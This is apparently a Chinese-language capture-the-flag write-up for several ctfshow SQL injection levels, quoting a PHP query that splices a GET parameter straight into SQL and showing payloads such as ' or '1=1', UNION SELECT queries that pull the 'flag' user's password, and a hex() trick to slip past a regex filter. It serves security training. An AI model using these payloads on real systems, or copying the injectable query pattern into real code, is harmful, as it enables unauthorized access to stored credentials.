看题目
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//拼接sql语句查找指定ID用户
我们能够控制的只有id
的值,经分析,条件为username
不为 flag。可是只有用户名为 flag 才能输出 正确的flag。
第一步先判断是否有注入点。
观察到存在单引号,所以要考虑引号闭合问题。
逻辑词 or 只要任意一个条件为真就算成立
所以输入1' or '1=1
,可以列出所有的记录(数据)
正规做一下这个题,要想绕过username!=flag
,仔细观察得到username!=flag
与 id 使用逻辑运算符 and
相连,所以使得 id 与一个不存在的数相等,就可以绕过username!=flag
噢噢,原来是这个靶场
查询语句
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}
注意:select查询完成后,会返回结果,这时,返回逻辑代码开始阻止,若返回结果的字段名username
的值为flag
,则返回false
确实没有返回username='flag'
的值。
所以要绕过$row->username!=='flag'
,检查返回的字段名username
,那么不让返回值中存在username
就好了鸭!
使用union
语句。try 一 try(试一试)
(注意:--+
是MySQL语法中的注释)
999' union select id,password from ctfshow_user2 where username='flag' --+
999' union select id,password from ctfshow_user2 where id = '1' or 1=1--
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}
preg_match
是正则表达式
preg_match_all(正则表达式、匹配字符串、匹配到的东西放入数组)
返回匹配到的次数。正则表达式格式//
,/i
是不区分大小写
json_encode
函数,对变量进行 JSON 编码,该函数只对 UTF-8 编码的数据有效。
和web172的思路大致相同,这次是使用正则表达式。而且注意到,这次是输出 id,username,password 三个字段的记录。
所以对用户名username的值进行十六进制转换,这样就可以绕过正则表达式。
999' union select id,hex(username),password from ctfshow_user3 where username = 'flag